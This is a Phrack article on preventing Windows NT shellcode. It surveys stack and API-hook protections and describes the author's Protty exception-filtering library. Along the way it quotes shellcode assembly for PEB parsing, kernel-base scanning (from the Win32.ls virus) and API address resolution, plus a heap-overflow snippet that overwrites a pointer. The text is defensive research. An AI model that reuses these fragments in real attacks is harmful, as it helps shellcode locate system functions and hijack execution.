Title : NT Shellcode Prevention Demystified
Author : piotr
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x0f of 0x14
|=---------------------------------------------------------------------=|
|=---------------=[ NT shellcodes prevention demystified ]=------------=|
|=---------------------------------------------------------------------=|
|=---------------=[by Piotr Bania <[email protected]>]=------------=|
What was alive is now dead;
all that was beautiful
is now the ugliness of devastation
And yet I do not altogether die
what is indestructible in me
remains!
- Karol Wojtya,
Sophie Arie in Rome
...this short thing is dedicated to You - R.I.P
...a glorious era has already ended.
--[ Contents
I. Introduction
II. Known protections
II.A - Hooking API functions and stack backtracing.
II.B - Security cookie authentication (stack protection)
II.C - Additional mechanisms - module rebasing
III. What is shellcode and what it "must do"
IV. Getting addresses of kernel/needed functions - enemy study
IV.A - getting kernel address (known mechanisms)
IV.A.A - PEB (Process Environment Block) parsing
IV.A.B - searching for kernel in memory
IV.B - getting API addresses (known methods)
IV.B.A - export section parsing
IV.B.B - import section parsing
V. New prevention techniques
VI. Action - few samples of catched shellcodes
VII. Bad points (what you should know) - TODO
VIII. Last words
IX. Code
X. References
--[ I. Introduction
Nowadays there are many exploit prevention mechanisms for windows but each
of them can by bypassed (according to my information). Reading this
article keep in mind that codes and information provided here will
increase security of your system but it doesn't mean you will be
completely safe (cut&paste from condom box user manual).
--[ II. Known protections
Like I said before, today there exist many commercial prevention
mechanisms. Here we will get a little bit deeper inside of most common
ring3 mechanisms.
II.A Hooking API functions and stack backtracing
--------------------------------------------------
Many nowadays buffer overflows protectors are not preventing the buffer
overflow attack itself, but are only trying to detect running shellcode.
Such BO protectors usually hook API functions that usually are used by
shellcode. Hooking can be done in ring3 (userland) or kernel level (ring0,
mainly syscalls and native api hooking). Lets take a look at example of
such actions:
stack backtracing
-----------------
Lets check the NGSEC stack backtracing mechanism, now imagine a call was
made to the API function hooked by NGSEC Stack Defender.
So when a call to any of hooked APIs is done, the main Stack Defender
mechanism stored in proxydll.dll will be loaded by the hooked function
stored in .reloc section. Then following tests will be done:
Generally this comes up as params for the proxydll function (all of the
arguments are integers):
assume: argument 1 = [esp+0ch] - its "first" passed argument to the
function this is always equal to the stack address
0xC bytes from the ESP.
argument 2 = address from where hooked api was called
argument 3 = some single integer (no special care for this one)
argument 4 = stack address of given param thru hooked API call
MAIN STEPS:
- I. - execute VirtualQuery [1] on [esp+0Ch] (stack address)-LOCATION1
- II. - execute VirtualQuery [1] on call_ret address - LOCATION2
- III. - if LOCATION1 allocation base returned in one of the members of
MEMORY_BASIC_INFORMATION [2] is equal to the LOCATION2
allocation base then the call is comming for the stack space.
Stack Defender kills the application and reports attack probe to
the user. If not next step is executed.
- IV. - call IsBadWritePtr [3] on location marked as LOCATION2 (addres
of caller). If the API returns that location is writeable Stack
Defender finds it as a shellcode and kills the application. If
location is not writeable StackDefender executes the original
API.
hooking exported API functions
------------------------------
When module exports some function it means that it's making this fuction
usable for other modules. When such function is exported, PE file includes
an information about exported function in so called export section.
Hooking exported function is based on changing the exported function
address in AddressOfFunctions entry in the export section. The great and
one of the first examples of such action was very infamous i-worm.Happy
coded by french virus writter named as Spanska. This one hooks send and
connects APIs exported from WSOCK32.DLL in order to monitor all outgoing
messages from the infected machine. This technique was also used by one of
the first win32 BO protectors - the NGSEC's Stack Defender 1.10. The NGSEC
mechanism modifies the original windows kernel (kernel32.dll) and hooks
the following functions:
(the entries for each of the exported functions in EAT (Export Address
Table) were changed, each function was hooked and its address was
"repointed" to the .reloc section where the filtering procedure will
be executed)
- WinExec
- CreateProcessW
- CreateProcessA
- LoadLibraryExA
- LoadLibraryExW
- OpenFile
- CreateThread
- CreateRemoteThread
- GetProcAddress
- LoadModule
- CreateFileA
- CreateFileW
- _lopen
- _lcreat
- CopyFileA
- CopyFileW
- CopyFileExA
- CopyFileExW
- MoveFileA
- MoveFileExW
- LockFile
- GetModuleHandleA
- VirtualProtect
- OpenProcess
- GetModuleHandleW
- MoveFileWithProgressA
- MoveFileWithProgressW
- DeleteFileA
inline API hooking
------------------
This technique is based on overwritting the first 5 bytes of API function
with call or unconditional jump.
I must say that one of the first implementations of such "hooking"
technique (well i don't mean the API hooking method excatly) was described
by GriYo in [12]. The feature described by GriYo was named "EPO" -
"Entry-point Obscuring". Instead of changing the ENTRYPOINT of PE file [9]
GriYo placed a so called "inject",a jump or call to virus inside host code
but far away from the file entry-point. This EPO technique makes a virus
detection much much harder...
Of course the emulated bytes must be first known by the "hooker". So it
generally must use some disassembler engine to determine instructions
length and to check its type (i think you know the bad things can happen
if you try to run grabbed call not from native location). Then those
instructions are stored locally and after that they are simply executed
(emulated). After that the execution is returned to native location. Just
like the schema shows.
Inline API hooking feature is also present in Detours library developed
by Microsoft [4]. Here is the standard sample how hooked function looks
like:
BEFORE:
;----------SNIP--------------------------------------------
CreateProcesA: push ebp ; 1 bytes
mov ebp,esp ; 2 bytes
push 0 ; 2 bytes
push dword ptr [ebp+2c]
...
;----------SNIP--------------------------------------------
AFTER (SCHEMA):
;----------SNIP--------------------------------------------
CreateProcessA: jmp hooked_function
where_ret: push dword ptr [ebp+2c]
...
hooked_function: pushfd ; save flags
pushad ; save regs
call do_checks ; do some checks
popad ; load regs
popfd ; loadflags
push ebp ; emulation
mov ebp,esp ; of original
push 0 ; bytes
push offset where_ret ; return to
ret ; original func.
;----------SNIP--------------------------------------------
Such type of hooking method was implemented in Okena/CSA and Entercept
commercial mechanisms. When the hooked function is executed, BO prevention
mechanism does similiar checks like in described above.
However BO preventers that use such feature can be defeat easily. Because
I don't want to copy other phrack articles I suggest you looking at
"Bypassing 3rd Party Windows Buffer Overflow Protection" [5] (phrack#62).
It is a good article about bypassing such mechanisms.
II.B Security cookie authentication (stack protection)
--------------------------------------------------------
This technique was implemented in Windows 2003 Server, and it is very
often called as "build in Windows 2003 Server stack protection". In
Microsoft Visual C++ .NET Microsoft added a "/GS" switch (default on)
which place security cookies while generating the code. The cookie
(or canary) is placed on the stack before the saved return address
when a function is called. Before the procedure returns to the caller
the security cookie is checked with its "prototype" version
stored in the .data section. If the buffer overflow occurs the cookie
is overwritten and it mismatches with the "prototype" one. This is the
sign of buffer overflow.
Bypassing this example was well documented by David Litchfield so I
advice you to take a look at the lecture [6].
II.C Additional mechanisms - module rebasing
----------------------------------------------
When we talk about buffer overflow prevention mechanism we shouldn't
forget about so called "module rebasing". What is the idea of this
technique? Few chapters lower you have an example code from "searching for
kernel in memory" section, there you can find following variables:
;----------SNIP--------------------------------------------
; some of kernel base values used by Win32.ls
_kernells label
dd 077e80000h - 1 ;NT 5
dd 0bff70000h - 1 ;w9x
dd 077f00000h - 1 ;NT 4
dd -1
;----------SNIP--------------------------------------------
Like you probably know only these kernel locations in the table will be
searched, what happens if shellcode doesn't know the imagebase of
needed module (and all the search procedures failed)? Answer is easy
shellcode can't work and it quits/crashes in most cases.
How the randomization is done? Generally all PE files(.exe/.dlls etc. etc)
have an entry in the PE record (offset 34h) which contains the address
where the module should be loaded. By changing this value we are able to
relocate the module we want, of course this value must be well calculated
otherwise your system can be working incorrectly.
Now, after little overview of common protections we can study the
shellcode itself.
--[ III. What is shellcode and what it "must do"
For those who don't know: Shellcode is a part of code which does all the
dirty work (spawns a shell / drops trojans / bla bla) and it's a core of
exploit.
What windows shellcode must do? Lets take a look at the following sample
schema:
1) - getting EIP
2) - decoding loop if it's needed
3) - getting addresses of kernel/needed functions
4) - spawning a shell and all other dirty things
If you read assumptions (point II) and some other papers you will
probably know that there is no way to cut third point from shellcode
schema. Every windows shellcode must obtain needed data and that's a step
we will try to detect.
Of course shellcode may use the hardcoded kernel value or hardcoded API
values. That doesn't mean that shellcode will be not working, but
generally things get harder when attacker doesn't know the victim machine
(version of operating system - different windows = different kernel
addresses) or when the victim machine works with some protection levels
like image base rebasing. Generally hardcoding those values decreases the
success level of the shellcode.
--[ IV. Getting addresses of kernel/needed functions - enemy study
This chapter describes shortly most common methods used in shellcodes. To
dig more deeply inside the stuff I advice you to read some papers from the
Reference section
--[ IV.A - getting kernel address (known mechanisms)
IV.A.A - PEB (Process Environment Block) parsing
--------------------------------------------------
PEB (Process Environment Block) parsing - the following method was first
introduced by the guy called Ratter [7] from infamous 29A group. By
parsing the PEB_LDR_DATA we can obtain information about all currently
loaded modules, like following example shows:
;----------SNIP--------------------------------------------
mov eax,dword ptr fs:[30h] ; EAX is now PEB base
mov eax,dword ptr [eax+0ch] ; EAX+0Ch = PEB_LDR_DATA
mov esi,dword ptr [eax+1ch] ; get the first entry
mov ebx,[esi+08h] ; EBX=ntdll imagebase
module_loopx:
lodsd
mov ebx,[eax+08h] ; EBX=next dll imagebase
test ebx,ebx
jz @last_one_done
int 3
mov esi,eax ; continue search
jmp module_loopx
;----------SNIP---------------------------------------------
IV.A.B - searching for kernel in memory
-----------------------------------------
searching for kernel in memory - this example scans/tries different kernel
locations (for different windows versions) and searches for MZ and PE
markers, the search progress works together with SEH frame to avoid access
violations.
Here is the example method (fragment of Win32.ls virus):
;----------SNIP--------------------------------------------
cld
lea esi,[ebp + offset _kernells - @delta] ; load the kernel
; array
@nextKernell:
lodsd ; load on base to EAX
push esi ; preserve ESI (kernel array location)
inc eax ; is this the last one ? (-1+1=0)
jz @bad ; seems so -> no kernel base matched
push ebp ; preserve EBP (delta handler)
call @kernellSEH ; check the loaded base
mov esp,[esp + 08h] ; restore the stack
@bad1:
pop dword ptr fs:[0] ; restore old SEH frame
pop eax ; normalize the stack
pop ebp ; load delta handle
pop esi ; go back to kernel array
jmp @nextKernell ; and check another base
@bad:
pop eax ; no kernel found, virus
jmp @returnHost ; returning to host
; some of kernel base values used by Win32.ls
_kernells label
dd 077e80000h - 1 ;NT 5
dd 0bff70000h - 1 ;w9x
dd 077f00000h - 1 ;NT 4
dd -1
@kernellSEH:
push dword ptr fs:[0] ; setup new SHE handler
mov dword ptr fs:[0],esp
mov ebx,eax ; EBX=imagebase
xchg eax,esi
xor eax,eax
lodsw ; get first 2 bytes from imagebase
not eax ; is it MZ?
cmp eax,not 'ZM' ; compare
jnz @bad1 ; it isn't check next base
mov eax,[esi + 03ch] ; MZ is found now scan for PE sign
add eax,ebx ; normalize (RVA2VA)
xchg eax,esi
lodsd ; read 4 bytes
not eax
cmp eax,not 'EP' ; is it PE?
jnz @bad1 ; nope check next base
pop dword ptr fs:[0] ; return (setup) old SEH
pop eax ebp esi ; clear stack
; EBX is now valid kernel base
;----------SNIP--------------------------------------------
--[ IV.B - getting API addresses (known methods)
IV.B.A - export section parsing
---------------------------------
export section parsing - when the module (usually kernel32.dll) base is
located, shellcode can scan export section and find some API functions
needed for later use. Usually shellcode is searching for GetProcAddress()
function address, then it is used to get location of the others APIs.
Following code parses kernel32.dll export section and gets address of
GetProcAddress API:
;----------SNIP--------------------------------------------
; EAX=imagebase of kernel32.dll
xor ebp,ebp ; zero the counter
mov ebx,[eax+3ch] ; get pe header
add ebx,eax ; normalize
mov edx,[ebx+078h] ; export section RVA
add edx,eax ; normalize
mov ecx,[edx+020h] ; address of names
add ecx,eax ; normalize
mov esi,[edx+01ch] ; address of functions
add esi,eax ; normalize
loop_it:
mov edi,[ecx] ; get one name
add edi,eax ; normalize
cmp dword ptr [edi+4],'Acor' ; is it GetP-rocA-ddress ?? :)
jne @l ; nope -> jump to @l
; yes it is
add esi,ebp ; add out counter
mov esi,[esi] ; get the address
add esi,eax ; normalize
int 3 ; ESI=address of GetProcAddress
@l:
add ecx,4 ; to next name
add ebp,4 ; update counter (dwords)
jmp loop_it ; and loop it again
;----------SNIP--------------------------------------------
IV.B.B - import section parsing
---------------------------------
import section parsing - 99% of hll applications import
GetProcAddress/LoadLibraryA, it means that their IAT (Import Address
Table) includes address and name string of the mentioned functions.
If shellcode "knows" the imagebase of target application it can easily
grab needed address from the IAT.
Just like following code shows:
;----------SNIP--------------------------------------------
;following example gets LoadLibraryA address from IAT
IMAGEBASE equ 00400000h
mov ebx,IMAGEBASE
mov eax,ebx
add eax,[eax+3ch] ; PE header
mov edi,[eax+80h] ; import RVA
add edi,ebx ; normalize
xor ebp,ebp
mov edx,[edi+10h] ; pointer to addresses
add edx,ebx ; normalize
mov esi,[edi] ; pointer to ascii strings
add esi,ebx ; normalize
@loop:
mov eax,[esi]
add eax,ebx
add eax,2
cmp dword ptr [eax],'daoL' ; is this LoadLibraryA?
jne @l
add edx,ebp ; normalize
mov edx,[edx] ; edx=address of
int 3 ; LoadLibraryA
@l:
add ebp,4 ; increase counter
add esi,4 ; next name
jmp @loop ; loop it
;----------SNIP--------------------------------------------
After this little introduction we can finally move to real things.
--[ V. New prevention techniques
While thinking about buffer overflow attacks I've noticed that methods
from chapter IV are most often used in shellcodes. And thats the thing
I wanted to prevent, I wanted to develop prevention technique which acts
in very early stage of shellcode execution and here are the results of
my work:
Why two Protty libraries / two techniques of prevention?
When I have coded first Protty (P1) library it worked fine except some
Microsoft products like Internet Explorer, Explorer.exe (windows manager)
etc. in thoose cases the prevention mechanisms eat all cpu.
I simply got nervous and I have rebuilt the mechanisms and that's how
second Protty (P2) library was born. Im describing them both because
everything that gives any bit of knowledge is worth describing :) Anyway
Im not saying the second one is perfect each solution got its bad and
good points.
What I have done - the protection features:
- protecting EXPORT section - protecting function addresses array
(any exe/dll library)
- IAT RVA killer (any exe/dll library)
- protecting IAT - protecting functions names array (any exe/dll library)
- protecting PEB (Process Environment Block)
- disabling SEH/Unhandled Exception Filter usage
- RtlEnterCrticialSection pointer protector
NOTE: All those needed pointers (IMPORT/EXPORT sections) are found in
similiar way like in IVth chapter.
FEATURE: EXPORT SECTION PROTECTION (protecting "function addresses array")
-------
Every shellcode that parses EXPORT section (mainly kernel32.dll one) want
to get to exported function addresses, and that's the thing I tried to
block, here is the technique:
Algorithm/method for mechanism used in Protty1 (P1):
---------------------------------------------------
1. Allocate enough memory to handle Address Of Functions table from
the export section.
Address of Function table is an array which cointains addresses
of exported API functions, like here for KERNEL32.DLL:
D:\>tdump kernel32.dll kernel32.txt & type kernel32.txt
(...snip...)
Name RVA Size
------------------ -------- --------
Exports 0006D040 00006B39
(...snip...)
Exports from KERNEL32.dll
942 exported name(s), 942 export addresse(s). Ordinal base is 1.
Ordinal RVA Name
------- -------- ----
0000 000137e8 ActivateActCtx
0001 000093fe AddAtomA
0002 0000d496 AddAtomW
0003 000607c5 AddConsoleAliasA
0004 0006078e AddConsoleAliasW
0005 0004e0a1 AddLocalAlternateComputerNameA
0006 0004df8c AddLocalAlternateComputerNameW
(...snip...)
Where RVA values are entries from Address of Functions table, so
if first exported symbol is ActivateActCtx, first entry of Address
of Function will be its RVA. The size of Address of Functions
table depends on number of exported functions.
All those IMPORT / EXPORT sections structures are very well
documented in Matt Pietrek, "An In-Depth Look into the Win32
Portable Executable File Format" paper [9].
2. Copy original addresses of functions to the allocated memory.
3. Make original function addresses entries writeable.
4. Erase all old function addresses.
5. Make erased function addresses entries readable only.
6. Update the pointer to Address of Functions tables and point it to our
allocated memory:
- Make page that contains pointer writeable.
- Overwrite with new location of Address of Function Table
- Make page that contains pointer readable again.
7. Mark allocated memory (new function addresses) as PAGE_NOACCESS.
We couldn't directly set the PAGE_NOACCESS protection to original
function addresses because some other data in the same page must be
also accessible (well SAFE_MEMORY_MODE should cover all cases even when
protection of original page was changed to PAGE_NOACCESS - however such
action increases CPU usage of the mechanism). The best way seems to be
to allocate new memory region for it.
What does the PAGE_NOACCESS protection? :
- PAGE_NOACCESS disables all access to the committed region of pages.
An attempt to read from, write to, or execute in the committed region
results in an access violation exception, called a general protection
(GP) fault.
Now all references to the table with function addresses will cause an
access violation exception, the description of the exception checking
mechanism is written in next chapter ("Description of mechanism
implemented in ...").
Just like the schema shows (A. - stands for "address"):
--- SNIP --- START OF SCHEMA. 1a
SOME PE MODULE
------------------
| export section |
|------------------|
| start | + imagebase
| (...) | -----------> OLD ARRAY WITH FUNCTIONS ADDRS
|------------------| |
| NUMBER OF NAMES | |
|------------------|BEFORE^| AFTER>
| A. OF FUNCTIONS |-------------------
|------------------| + --//-- |
| A. OF NAMES | | (NEWLY ALLOCATED MEMORY)
|------------------| -> NEW ARRAY WITH FUNCTIONS ADDRS
| A. OF ORDINALS | |
|------------------| -----------------
| (...) | | function 1 addr | / PAGE
| end | | function 2 addr |- NO
------------------ | ... | \ ACCESS
----------------- RIGHTS
ALL FUNCTION ADDRESSES IN OLD ARRAY
WERE PERMANENTLY OVERWRITTEN WITH NULL!
--- SNIP --- END OF SCHEMA. 1a
Algorithm/method for mechanism used in Protty2 (P2):
---------------------------------------------------
1. Allocate enough memory to handle Address Of Functions table from
the export section.
2. Copy original addresses to the allocated memory.
3. Make original function addresses entries writeable.
4. Erase all old function addresses.
5. Make erased function addresses entries readable only.
6. Make pointer to Address Of Functions writeable.
7. Allocate small memory array for decoy (with PAGE_NOACCES rights).
8. Write entry to protected region lists.
8. Update the pointer to Address Of Functions and point it to our
allocated decoy.
9. Update protected region list (write table entry)
10.Make pointer to Address Of Function readable only.
--- SNIP --- START OF SCHEMA. 1b
SOME PE MODULE
------------------
| export section |
|------------------|
| start | + imagebase
| (...) | -----------> OLD ARRAY WITH FUNCTIONS ADDRS
|------------------| |
| NUMBER OF NAMES | |
|------------------|BEFORE^| AFTER>
| A. OF FUNCTIONS |-------------------
|------------------| + --//-- |
| A. OF NAMES | | ------------ /PAGENOACCESS
|------------------| -> | DECOY |- RIGHTS
| A. OF ORDINALS | ------------ \
|------------------|
| (...) | Somewhere in memory:
| end | (allocated memory with functions
------------------ address entries):
||
-----------------
| function 1 addr |
| function 2 addr |
| ... |
-----------------
ALL FUNCTION ADDRESSES IN OLD ARRAY
WERE PERMANENTLY OVERWRITTEN WITH NULL!
--- SNIP --- END OF SCHEMA. 1b
What have I gained by switching from the first method (real arrays) to the
second one (decoys)?
The answer is easy. The first one was pretty slow solution (all the time i
needed to deprotect the region and protect is again) in the second one i
don't have to de-protect and protect the real array, the only thing i need
to do is update the register value and make it point to the orginal
requested body.
FEATURE: IMPORT SECTION PROTECTION (protecting "functions names array" +
------- IAT RVA killer)
IAT RVA killer mechanism for both Protty1 (P1) and Protty2 (P2)
---------------------------------------------------------------
All actions are similar to those taken in previous step, however here we
are redirecting IMPORTS function names and overwriting IAT RVA (with
pseudo random value returned by GetTickCount - bit swapped).
And here is the schema which shows IAT RVA killing:
--- SNIP --- START OF SCHEMA. 2
SOME PE MODULE
------------------
| NT HEADER |
|------------------|
| start | + imagebase
| (...) | ------------> MODULE IMPORT SECTION
|------------------| |
| EXPORT SIZE | |
|------------------| BEFORE^| AFTER>
| IMPORT RVA |---------------------> NO EXISTING LOCATION (*)
|------------------| + --//--
| IMPORT SIZE |
|------------------|
| (...) |
| end |
------------------
(*) - the IMPORT RVA is overwritten with value returned by GetTickCount
swaped one time, generally it's kind of idiotic action because
many of you can assume such operation can give a drastic effect
with application stability. Well you are wrong, overwritting the
IMPORT RVA >after< successful loading of any pe module has no
right to cause instability (atleast it worked in my case, remeber
this is windows and you are messing a lot ...)
--- SNIP --- END OF SCHEMA. 2
And here's the one describing protecting "functions names array", for
Protty1 (P1):
--- SNIP --- START OF SCHEMA. 3a
SOME PE MODULE
------------------
| import section | +blabla
|------------------| ----------> ARRAY OF FUNCTION NAMES
| start | |
| (...) | |
|------------------| BEFORE^ | AFTER>
| A. OF NAMES |----------------------> (NEWLY ALLOCATED MEMORY)
|------------------| +blabla NEW ARRAY OF FUNCTION NAMES
| (...) | |
| end | -----------------
------------------ | "Function1",0 |/ PAGE
| "Function2",0 |- NO
| "Function3",0 |\ ACCESS
----------------- RIGHTS
ALL NAMES IN OLD NAMES OF FUNCTIONS ARRAY
WERE PERMANENTLY OVERWRITTEN BY NULL
NOTE: I have choosed Address Of Names array, because it is much less
accessed memory region than Address Of Functions array - so
less CPU consumption (but bit more unsecure - you can do it
yourself).
--- SNIP --- END OF SCHEMA. 3a
And here's the one describing protecting "functions names array", for
Protty1 (P2):
--- SNIP --- START OF SCHEMA. 3b
SOME PE MODULE
------------------
| import section | +blabla
|------------------| ----------> ARRAY OF FUNCTION NAMES
| start | |
| (...) | |
|------------------| BEFORE^ | AFTER> ------------- / PAGE
| A. OF NAMES |----------------------> | DECOY |-NO ACCESS
|------------------| +blabla ------------- \ RIGHTS
| (...) |
| end |
------------------ Somewhere in memory:
(allocated memory with original
function names):
||
-----------------
| "Function1",0 |
| "Function2",0 |
| "Function3",0 |
-----------------
ALL NAMES IN OLD NAMES OF FUNCTIONS ARRAY
WERE PERMANENTLY OVERWRITTEN BY NULL
--- SNIP --- END OF SCHEMA. 3b
FEATURE: PEB (Process Environment Block) protection (PEB_LDR_DATA)
-------
Algorithm/method for mechanism used in Protty1 (P1):
---------------------------------------------------
1. Get PEB_LDR_DATA [7] structure location
2. Update the region list
3. Mark all PEB_LDR_DATA [7] structure as PAGE_NO_ACCESS
--- SNIP --- START OF SCHEMA. 4a
------------------
| PEB_LDR_DATA |\
| .... |---- NOW MARKED WITH PAGE_NOACCESS.
| .... |/
------------------
--- SNIP --- END OF SCHEMA. 4a
Algorithm/method for mechanism used in Protty2 (P2):
---------------------------------------------------
1. Get InInitializationOrderModuleList [7] structure location
2. Write table entry (write generated faked address)
3. Write table entry (write original location of InInitOrderML...)
4. Change the pointer to InInitializationOrderModuleList, make it
point to bad address.
Here is the schema (ML stands for ModuleList):
--- SNIP --- START OF SCHEMA. 4b
[PEB_LDR_DATA]:
------------------
| Length |
|------------------|
| Initialized |
|------------------| --------------------------
| SsHandle | |LIST_ENTRY InInit.OrderML |
|------------------| .--------> | |
| InLoadOrderML | | --------------------------
|------------------| |
| InMemoryOrderML | |
|------------------| BEFORE^ | AFTER>
| InInit.OrderML |--------------------> RANDOM MINUS VALUE
|------------------| (not existing location)
------------------
NOTE: why MINUS VALUE? Generally I choose minus one because there
is no minus valid location and this will generate a exception
for sure, anyway this value can be changed and we can add a DECOY
memory area like in upper cases (but in this case region size
should be bigger). Minus value can be used for shellcodes to
find protection occurency - however if anybody wanna play...
--- SNIP --- END OF SCHEMA. 4b
FEATURE: Disabling SEH / Unhandled Exception Filter pointer usage.
-------
Description for both Protty1 (P1) and Protty 2 (P2)
---------------------------------------------------
Every time access violation exception occurs in protected program,
prevention mechanism tests if the currently active SEH frame points
to writeable location, if so Protty will stop the execution.
If UEF_HEURISTISC is set to TRUE (1) Protty will check that actual
set Unhandled Exception Filter starts with prolog (push ebp/mov ebp,esp)
or starts with (push esi/mov esi,[esp+8]) otherwise Protty will kill
the application. After this condition Protty checks that currently
active Unhandled Exception Filter is writeable if so application
is terminated (this also stands out for the default non heuristisc
mode).
Why UEF? Unhandled Exception Filter is surely one of the most used
methods within exploiting windows heap overflows. The goal of this
method is to setup our own Unhandled Filter, then when any unhandled
exception will occur attackers code can be executed. Normally attacker
tries to set UEF to point to call dword ptr [edi+78h], because
78h bytes past EDI there is a pointer to the end of the buffer.
To get more description of this exploitation technique check point [8]
from Reference section.
NOTE: Maybe there should be also a low HEURISTICS mode with
jmp dword ptr [edi+78h] / call dword ptr [edi+78h] occurency
checker, however the first one covers them all.
FEATURE: RtlEnterCrticialSection pointer protector
-------
Description for both Protty1 (P1) and Protty 2 (P2)
---------------------------------------------------
Like in above paragraph, library checks if pointer to
RtlEnterCriticalSection pointer has changed, if it did, prevention
library immediately resets the original pointer and stops the program
execution.
RtlEnterCritical pointer is often used in windows heap overflows
exploitation.
Here is the sample attack:
(sample scenerio of heap overflow)
;----------SNIP--------------------------------------------
; EAX, ECX are controled by attacker
; assume:
; ECX=07FFDF020h (RtlEnterCrticialSection pointer)
; EAX=location where attacker want to jump
mov [ecx],eax ; overwrites the pointer
mov [eax+0x4],ecx ; probably causes access
; violation
; if so the execution is
; returned to "EAX"
;----------SNIP--------------------------------------------
You should also notice that even when the access violation will not
occur it doesn't mean attackers code will be not excuted.
Many functions (not directly) are calling RtlEnterCriticalSection
(the address where 07FFDF020h points), so attacker code can be
executed for example while calling ExitProcess API. To find more
details on this exploitation technique check point [10] from Reference
section.
FEATURE: position independent code, running in dynamicaly allocated memory
-------
Protty library is a position independent code since it uses so called
"delta handling". Before start of the mechanism Protty allocates memory
at random location and copy its body there, and there it is executed.
What is delta handling? Lets take a look at the following code:
;----------SNIP--------------------------------------------
call delta ; put delta label offset on the
; stack
delta: pop ebp ; ebp=now delta offset
sub ebp offset delta ; now sub the linking value of
; "delta"
;----------SNIP--------------------------------------------
As you can see delta handle is a numeric value which helps you with
addressing variables/etc. especially when your code do not lay in native
location.
Delta handling is very common technique used by computer viruses. Here is
a little pseudo code which shows how to use delta handling with
addressing:
;----------SNIP--------------------------------------------
;ebp=delta handle
mov eax,dword ptr [ebp+variable1]
lea ebx,[ebp+variable2]
;----------SNIP--------------------------------------------
Of course any register (not only EBP) can be used :)
The position independent code was done to avoid easy disabling/patching by
the shellcode itself.
-------------------------------------------------------------------------
|Description of mechanism implemented in Protty1 (P1)|
-------------------------------------------------------------------------
NOTE: That all features written here were described above.
You can find complete descriptions there (or links to them).
Mechanism takeovers the control of KiUserExceptionDispatcher API (exported
by NTDLL.DLL) and that's where the main mechanism is implemented. From
that point every exception (caused by program) is being filtered by
our library. To be const-stricto, used mechanism only filters all Access
Violations exceptions. When such event occurs Protty first checks if the
active SEH (Structured Exception Handler) frame points to good location
(not writeable) if the result is ok it continues testing, otherwise it
terminates the application. After SEH frame checking, library checks the
address where violation came from, if its bad (writeable) the program
is terminated. Then it is doing the same with pointer to Unhandled
Exception Filter. Next it checks if pointer to RtlEnterCriticalSection
was changed (very common and useful technique for exploiting windows based
heap overflows) and kills the application if it was (of course the pointer
to RtlEnterCriticalSection is being reset in the termination procedure).
If application wasn't signed as BAD and terminated so far, mechanism must
check if violation was caused by reference to our protected memory
regions, if not it just returns execution to original handler.
Otherwise it checks if memory which caused the exception is stored
somewhere on the stack or is writeable. If it is, program is terminated.
When the reference to protected memory comes from GOOD location, mechanism
resets protection of needed region and emulates the instruction which
caused access violation exception (im using z0mbie's LDE32 to determine
instruction length), after the emulation, library marks requested region
with PAGE_NOACCESS again and continues program execution. That's all -
for more information check the source codes attached and test it in
action. (Take a look at the "catched shellcodes" written in next section)
In the time of last add-ons for the article, Phrack stuff noticed me that
single stepping will be more good solution. I must confess it really can
do its job in more fast way. I mark it as TODO.
Few words about the emulation used in P1:
----------------------------------------
Generally I have two ways of doing it. You already know one. I'm going to
describe another one now.
Instead of placing jump after instruction that caused the access violation
exception I could emulate it locally, it's generally more slower/faster
more weird (?), who cares (?) but it should work also. Here is the short
description of what have to be done:
(optional algorithm replacement for second description written below)
STEP 1 - Get instruction length, copy the instruction to local buffer
STEP 2 - Deprotect needed region
STEP 3 - Change the contexts, of course leave the EIP alone :)) save
the old context somewhere
STEP 4 - Emulate the instruction
STEP 5 - Update the "target" context, reset old context
STEP 6 - Protect all regions again
STEP 7 - continue program execution by NtContinue() function
And here is the more detailed description of currently used
instruction emulation mechanism in Protty:
STEP 1 - Deprotect needed region
STEP 2 - Get instruction length
STEP 3 - Make the location (placed after instruction) writeable
STEP 4 - Save 7 bytes from there
STEP 5 - Patch it with jump
STEP 6 - use NtContinue() to continue the execution, after executing
the first instruction, second one (placed jump) returns
the execution to Protty.
STEP 7 - Reset old 7 bytes to original location (un-hooking)
STEP 8 - Mark the location (placed after instruction) as
PAGE_EXECUTE_READ (not writeable)
STEP 9 - Protect all regions again, return to "host"
-------------------------------------------------------------------------
|Description of mechanism implemented in Protty2 (P2)|
-------------------------------------------------------------------------
The newer version of Protty library (P2) also resides in
KiUserExceptionDispatcher,where it filters all exceptions like the
previous version did. So the method of SEH/UEF protection is the same as
described in Protty1. What is the main difference? Main difference is that
current mechanism do not emulate instruction and do not deprotect regions.
It works in completely different way. When some instruction (assume it is
GOOD - stored in not writeable location) tries to access protected region
it causes access violation. Why so? Because if you remember the ascii
schemas most of them point to DECOY (which is not accessible memory) or
to a minus memory location (invalid one). This causes an exception,
normally as described earlier the mechanism should de-prot the locations
and emulate the intruction, but not in this case. Here we are checking
what registers were used by the instruction which caused fault, and then
by scanning them we are checking if any of them points somewhere inside
"DECOYS" offsets.
How the mechanism know whats registers are used by instruction!?
----------------------------------------------------------------
To understand how the prevention mechanism works, the reader should
know about so called "opcode decoding", this !IS NOT! the full tutorial
but it describes the main things reader should know (for more check
www.intel.com or [8]). I would also like to thank Satish K.S for
supporting me with great information which helped me to make the
"tutorial" suitable for human beings (chEERs ricy! :))
The instructions from Intel Architecture are encoded by using subsets of
the general machine instruction format, like here:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A A * * * A A
A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA
A A A
A A A
Opcode ModR/M Byte SIB Byte
1 or 2 Bytes
Each instruction consists of an Opcode, a Register and/or Address mode
specifier (if required) consisting of the ModR/M byte and sometimes the
scale -index-base (SIB) byte, a displacement (if required), and an
immediate data field (if required).
Z0mbies ADE32 engine can disassembly every instruction and return the
DISASM structure which provides information useful for us.
Here is the structure:
struct disasm_struct
{
IN OUT BYTE disasm_defaddr; -- specify 4 for 32-bit code
IN OUT BYTE disasm_defdata; -- specify 4 for 32-bit code
OUT DWORD disasm_len; -- total length of opcode or 0
OUT DWORD disasm_flag; -- bitset of C_xxx
